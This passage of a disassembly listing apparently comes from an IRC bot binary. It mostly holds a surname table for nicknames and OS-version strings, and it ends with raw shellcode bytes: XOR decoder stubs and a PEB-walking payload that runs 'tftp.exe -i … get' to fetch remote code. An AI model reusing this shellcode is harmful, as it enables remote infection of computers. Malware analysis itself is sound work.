aPerlman	db 'Perlman',0          ; DATA XREF: .data:0044508Co
aPerna		db 'Perna',0            ; DATA XREF: .data:00445090o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .data:00445094o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .data:00445098o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .data:0044509Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .data:004450A0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .data:004450A4o
		align 4
aPettit		db 'Pettit',0           ; DATA XREF: .data:004450A8o
		align 10h
aPfister	db 'Pfister',0          ; DATA XREF: .data:004450ACo
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .data:004450B0o
aPinot		db 'Pinot',0            ; DATA XREF: .data:004450B4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .data:004450B8o
aPlant		db 'Plant',0            ; DATA XREF: .data:004450BCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .data:004450C0o
aPlous		db 'Plous',0            ; DATA XREF: .data:004450C4o
		align 4
aPo		db 'Po',0               ; DATA XREF: .data:004450C8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .data:004450CCo
		align 4
aPoincaire	db 'Poincaire',0        ; DATA XREF: .data:004450D0o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: .data:004450D4o
aPoirier	db 'Poirier',0          ; DATA XREF: .data:004450D8o
aPolak		db 'Polak',0            ; DATA XREF: .data:004450DCo
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: .data:004450E0o
aPolitis	db 'Politis',0          ; DATA XREF: .data:004450E4o
aPoma		db 'Poma',0             ; DATA XREF: .data:004450E8o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .data:004450ECo
aPowers		db 'Powers',0           ; DATA XREF: .data:004450F0o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: .data:004450F4o
aPreucel	db 'Preucel',0          ; DATA XREF: .data:004450F8o
aPrevost	db 'Prevost',0          ; DATA XREF: .data:004450FCo
aPritchard	db 'Pritchard',0        ; DATA XREF: .data:00445100o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .data:00445104o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .data:00445108o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .data:0044510Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .data:00445110o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: .data:00445114o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .data:00445118o
aQuaday		db 'Quaday',0           ; DATA XREF: .data:0044511Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .data:00445120o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .data:00445124o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .data:00445128o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: .data:0044512Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .data:00445130o
aRaney		db 'Raney',0            ; DATA XREF: .data:00445134o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: .data:00445138o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .data:0044513Co
		align 10h
aRapple		db 'Rapple',0           ; DATA XREF: .data:00445140o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .data:00445144o
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .data:00445148o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .data:0044514Co
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: .data:00445150o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .data:00445154o
aRemak		db 'Remak',0            ; DATA XREF: .data:00445158o
		align 4
aRenick		db 'Renick',0           ; DATA XREF: .data:0044515Co
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: .data:00445160o
aResnik		db 'Resnik',0           ; DATA XREF: .data:00445164o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: .data:00445168o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .data:0044516Co
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .data:00445170o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .data:00445174o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .data:00445178o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .data:0044517Co
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .data:00445180o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .data:00445184o
		align 4
aRocha		db 'Rocha',0            ; DATA XREF: .data:00445188o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: .data:0044518Co
aRogers		db 'Rogers',0           ; DATA XREF: .data:00445190o
		align 10h
aRonen		db 'Ronen',0            ; DATA XREF: .data:00445194o
		align 4
aRow		db 'Row',0              ; DATA XREF: .data:00445198o
aRoyal		db 'Royal',0            ; DATA XREF: .data:0044519Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: .data:004451A0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .data:004451A4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .data:004451A8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .data:004451ACo
		align 4
aRush		db 'Rush',0             ; DATA XREF: .data:004451B0o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: .data:004451B4o
aSabatello	db 'Sabatello',0        ; DATA XREF: .data:004451B8o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: .data:004451BCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .data:004451C0o
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: .data:004451C4o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .data:004451C8o
		align 10h
aSamson		db 'Samson',0           ; DATA XREF: .data:004451CCo
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .data:004451D0o
aSanna		db 'Sanna',0            ; DATA XREF: .data:004451D4o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: .data:004451D8o
		align 4
aSarin		db 'Sarin',0            ; DATA XREF: .data:004451DCo
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: .data:004451E0o
aSase		db 'Sase',0             ; DATA XREF: .data:004451E4o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: .data:004451E8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .data:004451ECo
		align 10h
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .data:004451F0o
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: .data:004451F4o
aSayied		db 'Sayied',0           ; DATA XREF: .data:004451F8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .data:004451FCo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .data:00445200o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: .data:00445204o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .data:00445208o
aScheiner	db 'Scheiner',0         ; DATA XREF: .data:0044520Co
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .data:00445210o
aSchifini	db 'Schifini',0         ; DATA XREF: .data:00445214o
		align 4
aSchilling	db 'Schilling',0        ; DATA XREF: .data:00445218o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .data:0044521Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: .data:00445220o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: .data:00445224o
aSchutte	db 'Schutte',0          ; DATA XREF: .data:00445228o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .data:0044522Co
		align 4
aSchwan		db 'Schwan',0           ; DATA XREF: .data:00445230o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .data:00445234o
aScovel		db 'Scovel',0           ; DATA XREF: .data:00445238o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .data:0044523Co
aSeaton		db 'Seaton',0           ; DATA XREF: .data:00445240o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .data:00445244o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .data:00445248o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: .data:0044524Co
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: .data:00445250o
aSen		db 'Sen',0              ; DATA XREF: .data:00445254o
aSennett	db 'Sennett',0          ; DATA XREF: .data:00445258o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .data:0044525Co
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: .data:00445260o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .data:00445264o
aShaikh		db 'Shaikh',0           ; DATA XREF: .data:00445268o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .data:0044526Co
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: .data:00445270o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .data:00445274o
aShar		db 'Shar',0             ; DATA XREF: .data:00445278o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .data:0044527Co
aShavelson	db 'Shavelson',0        ; DATA XREF: .data:00445280o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .data:00445284o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .data:00445288o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .data:0044528Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .data:00445290o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .data:00445294o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: .data:00445298o
		align 4
aShia		db 'Shia',0             ; DATA XREF: .data:0044529Co
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: .data:004452A0o
aShimon		db 'Shimon',0           ; DATA XREF: .data:004452A4o
		align 10h
aSiesto		db 'Siesto',0           ; DATA XREF: .data:004452A8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .data:004452ACo
aSigini		db 'Sigini',0           ; DATA XREF: .data:004452B0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .data:004452B4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: .data:004452B8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .data:004452BCo
		align 4
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .data:004452C0o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .data:004452C4o
aSites		db 'Sites',0            ; DATA XREF: .data:004452C8o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .data:004452CCo
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .data:004452D0o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .data:004452D4o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .data:004452D8o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .data:004452DCo
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: .data:004452E0o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .data:004452E4o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .data:004452E8o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .data:004452ECo
aSolon		db 'Solon',0            ; DATA XREF: .data:004452F0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .data:004452F4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: .data:004452F8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .data:004452FCo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .data:00445300o
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: .data:00445304o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .data:00445308o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: .data:0044530Co
		align 4
aSoultanian	db 'Soultanian',0       ; DATA XREF: .data:00445310o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: .data:00445314o
aSparrow	db 'Sparrow',0          ; DATA XREF: .data:00445318o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .data:0044531Co
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: .data:00445320o
aSpence		db 'Spence',0           ; DATA XREF: .data:00445324o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: .data:00445328o
aSpicer		db 'Spicer',0           ; DATA XREF: .data:0044532Co
		align 10h
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .data:00445330o
		align 10h
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .data:00445334o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .data:00445338o
aStmartin	db 'StMartin',0         ; DATA XREF: .data:0044533Co
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: .data:00445340o
aStam		db 'Stam',0             ; DATA XREF: .data:off_445344o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: .data:00445348o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .data:0044534Co
		align 4
aStates		db 'States',0           ; DATA XREF: .data:00445350o
		align 10h
aStatlender	db 'Statlender',0       ; DATA XREF: .data:00445354o
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: .data:00445358o
aSteiner	db 'Steiner',0          ; DATA XREF: .data:0044535Co
aStephanian	db 'Stephanian',0       ; DATA XREF: .data:00445360o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .data:00445364o
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .data:00445368o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .data:0044536Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .data:00445370o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .data:00445374o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .data:00445378o
		align 10h
aStockwell	db 'Stockwell',0        ; DATA XREF: .data:0044537Co
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .data:00445380o
aStonich	db 'Stonich',0          ; DATA XREF: .data:00445384o
aStorer		db 'Storer',0           ; DATA XREF: .data:00445388o
		align 4
aStott		db 'Stott',0            ; DATA XREF: .data:0044538Co
		align 10h
aStrange	db 'Strange',0          ; DATA XREF: .data:00445390o
aStrauch	db 'Strauch',0          ; DATA XREF: .data:00445394o
aStreiff	db 'Streiff',0          ; DATA XREF: .data:00445398o
aStringer	db 'Stringer',0         ; DATA XREF: .data:0044539Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .data:004453A0o
		align 10h
aSumner		db 'Sumner',0           ; DATA XREF: .data:004453A4o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .data:004453A8o
aSurdam		db 'Surdam',0           ; DATA XREF: .data:004453ACo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .data:004453B0o
		align 10h
aSweetser	db 'Sweetser',0         ; DATA XREF: .data:004453B4o
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: .data:004453B8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .data:004453BCo
aTai		db 'Tai',0              ; DATA XREF: .data:004453C0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .data:004453C4o
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: .data:004453C8o
aTandler	db 'Tandler',0          ; DATA XREF: .data:004453CCo
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .data:004453D0o
		align 4
aTatar		db 'Tatar',0            ; DATA XREF: .data:004453D4o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: .data:004453D8o
aTawn		db 'Tawn',0             ; DATA XREF: .data:004453DCo
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .data:004453E0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .data:004453E4o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .data:004453E8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .data:004453ECo
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .data:004453F0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .data:004453F4o
		align 4
aThan		db 'Than',0             ; DATA XREF: .data:004453F8o
		align 10h
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .data:004453FCo
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: .data:00445400o
aThibault	db 'Thibault',0         ; DATA XREF: .data:00445404o
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: .data:00445408o
aThomsen	db 'Thomsen',0          ; DATA XREF: .data:0044540Co
aThroop		db 'Throop',0           ; DATA XREF: .data:00445410o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .data:00445414o
aTill		db 'Till',0             ; DATA XREF: .data:00445418o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .data:0044541Co
aTofallis	db 'Tofallis',0         ; DATA XREF: .data:00445420o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .data:00445424o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .data:00445428o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: .data:0044542Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .data:00445430o
aToomer		db 'Toomer',0           ; DATA XREF: .data:00445434o
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: .data:00445438o
aTorresi	db 'Torresi',0          ; DATA XREF: .data:0044543Co
aTorske		db 'Torske',0           ; DATA XREF: .data:00445440o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .data:00445444o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .data:00445448o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .data:0044544Co
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: .data:00445450o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .data:00445454o
		align 10h
aTringali	db 'Tringali',0         ; DATA XREF: .data:00445458o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .data:0044545Co
aTroy		db 'Troy',0             ; DATA XREF: .data:00445460o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: .data:00445464o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .data:00445468o
aTsomides	db 'Tsomides',0         ; DATA XREF: .data:0044546Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .data:00445470o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .data:00445474o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .data:00445478o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .data:0044547Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .data:00445480o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .data:00445484o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .data:00445488o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .data:0044548Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .data:00445490o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .data:00445494o
		align 10h
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .data:00445498o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .data:0044549Co
aUrban		db 'Urban',0            ; DATA XREF: .data:004454A0o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .data:004454A4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .data:004454A8o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .data:004454ACo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .data:004454B0o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: .data:004454B4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .data:004454B8o
aValencia	db 'Valencia',0         ; DATA XREF: .data:004454BCo
		align 10h
aWales		db 'Wales',0            ; DATA XREF: .data:004454C0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .data:004454C4o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .data:004454C8o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: .data:004454CCo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .data:004454D0o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .data:004454D4o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .data:004454D8o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .data:004454DCo
		align 4
aWasowska	db 'Wasowska',0         ; DATA XREF: .data:004454E0o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .data:004454E4o
aWaugh		db 'Waugh',0            ; DATA XREF: .data:004454E8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .data:004454ECo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .data:004454F0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .data:004454F4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .data:004454F8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .data:004454FCo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .data:00445500o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .data:00445504o
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: .data:00445508o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .data:0044550Co
aVenne		db 'Venne',0            ; DATA XREF: .data:00445510o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: .data:00445514o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .data:00445518o
aWetzel		db 'Wetzel',0           ; DATA XREF: .data:0044551Co
		align 4
aWhately	db 'Whately',0          ; DATA XREF: .data:00445520o
aWhilton	db 'Whilton',0          ; DATA XREF: .data:00445524o
aWhite		db 'White',0            ; DATA XREF: .data:00445528o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: .data:0044552Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .data:00445530o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .data:00445534o
		align 4
aViano		db 'Viano',0            ; DATA XREF: .data:00445538o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .data:0044553Co
aWiener		db 'Wiener',0           ; DATA XREF: .data:00445540o
		align 4
aViens		db 'Viens',0            ; DATA XREF: .data:00445544o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: .data:00445548o
aWilder		db 'Wilder',0           ; DATA XREF: .data:0044554Co
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .data:00445550o
aWilk		db 'Wilk',0             ; DATA XREF: .data:00445554o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: .data:00445558o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .data:0044555Co
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: .data:00445560o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .data:00445564o
aWilson		db 'Wilson',0           ; DATA XREF: .data:00445568o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: .data:0044556Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .data:00445570o
aVoigt		db 'Voigt',0            ; DATA XREF: .data:00445574o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .data:00445578o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .data:0044557Co
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: .data:00445580o
aWooden		db 'Wooden',0           ; DATA XREF: .data:00445584o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .data:00445588o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .data:0044558Co
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .data:00445590o
aVotey		db 'Votey',0            ; DATA XREF: .data:00445594o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .data:00445598o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .data:0044559Co
		align 4
aYankee		db 'Yankee',0           ; DATA XREF: .data:004455A0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .data:004455A4o
aYates		db 'Yates',0            ; DATA XREF: .data:004455A8o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: .data:004455ACo
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .data:004455B0o
aYesson		db 'Yesson',0           ; DATA XREF: .data:004455B4o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .data:004455B8o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: .data:004455BCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .data:004455C0o
aYoukSee	db 'Youk-See',0         ; DATA XREF: .data:004455C4o
		align 4
aYu		db 'Yu',0               ; DATA XREF: .data:004455C8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .data:004455CCo
aZahedi		db 'Zahedi',0           ; DATA XREF: .data:004455D0o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .data:004455D4o
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: .data:004455D8o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .data:004455DCo
aZoldak		db 'Zoldak',0           ; DATA XREF: .data:004455E0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .data:004455E4o
aZurn		db 'Zurn',0             ; DATA XREF: .data:004455E8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .data:004455ECo
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .data:004455F0o
		align 10h
; char aS_37[]
aS_37		db '%s',0               ; DATA XREF: sub_40B06A+28o
		align 4
; char aSI_3[]
aSI_3		db '%s%i',0             ; DATA XREF: sub_40B06A+4Fo
		align 4
; char aS_38[]
aS_38		db '%s',0               ; DATA XREF: sub_40B0D7+19o
		align 10h
; char aSI_4[]
aSI_4		db '%s%i',0             ; DATA XREF: sub_40B0D7+40o
		align 4
; char aPc[]
aPc		db 'PC',0               ; DATA XREF: sub_40B182+6o
		align 4
aPc_0		db 'PC',0               ; DATA XREF: sub_40B182+30o
		align 10h
aPc_1		db 'PC',0               ; DATA XREF: sub_40B182+5Co
		align 4
; char aSI_0[]
aSI_0		db '%s%i',0             ; DATA XREF: sub_40B182+87o
		align 4
; char aS_22[]
aS_22		db '%s|',0              ; DATA XREF: sub_40B228+2Fo
; char aSI_1[]
aSI_1		db '%s%i',0             ; DATA XREF: sub_40B228+56o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B29D+4Fo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B29D+5Do
		align 10h
a98		db '98',0               ; DATA XREF: sub_40B29D+6Do
		align 4
aMe_0		db 'ME',0               ; DATA XREF: sub_40B29D+7Do
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B29D+96o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B29D+A6o
		align 10h
a2k3		db '2K3',0              ; DATA XREF: sub_40B29D+B4o
a???		db '???',0              ; DATA XREF: sub_40B29D:loc_40B358o
; char aS_23[]
aS_23		db '[%s]|',0            ; DATA XREF: sub_40B29D+C4o
		align 10h
; char aSI_2[]
aSI_2		db '%s%i',0             ; DATA XREF: sub_40B29D+EBo
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40B3A7+1Fo
		align 10h
aM_0		db '[M]',0              ; DATA XREF: sub_40B3A7+2Co
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_40B3A7+3Ao
		align 4
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_40B3A7:loc_40B3F6o
		align 4
; char aM_1[]
aM_1		db '[M]',0              ; DATA XREF: sub_40B3A7+5Co
dword_4480A8	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+C4o
		db 66h,	0B9h
word_4480B6	dw 0FFFFh		; DATA XREF: sub_40B64F+CCw
		db 80h,	73h, 0Eh
byte_4480BB	db 0FFh			; DATA XREF: sub_40B64F+D3w
		dd 0F9E243h
dword_4480C0	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+A2o
		db 0B1h
byte_4480CD	db 0FFh			; DATA XREF: sub_40B64F+AAw
		dw 7380h
		db 0Ch
byte_4480D1	db 0FFh			; DATA XREF: sub_40B64F+B0w
		dw 0E243h
		dd 0F9h
dword_4480D8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B4D8+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_44813C	dd 12h			; DATA XREF: sub_40B4D8+3Dw
		dd 70746674h, 6578652Eh, 20692D20h
aGet		db ' get ',0            ; DATA XREF: sub_40B4D8+79o
					; sub_40B4D8+9Bo
aJ_0		db 'j',0
		db 0E8h
dword_448155	dd 17h			; DATA XREF: sub_40B4D8+4Dw
		db 75h,	1, 0C3h
		db 0E8h
dword_44815D	dd 1			; DATA XREF: sub_40B4D8+45w
byte_448161	db 0, 6Ah, 0		; DATA XREF: sub_40B4D8+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_44816B	dd 0FFFFFFEDh		; DATA XREF: sub_40B4D8+5Dw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
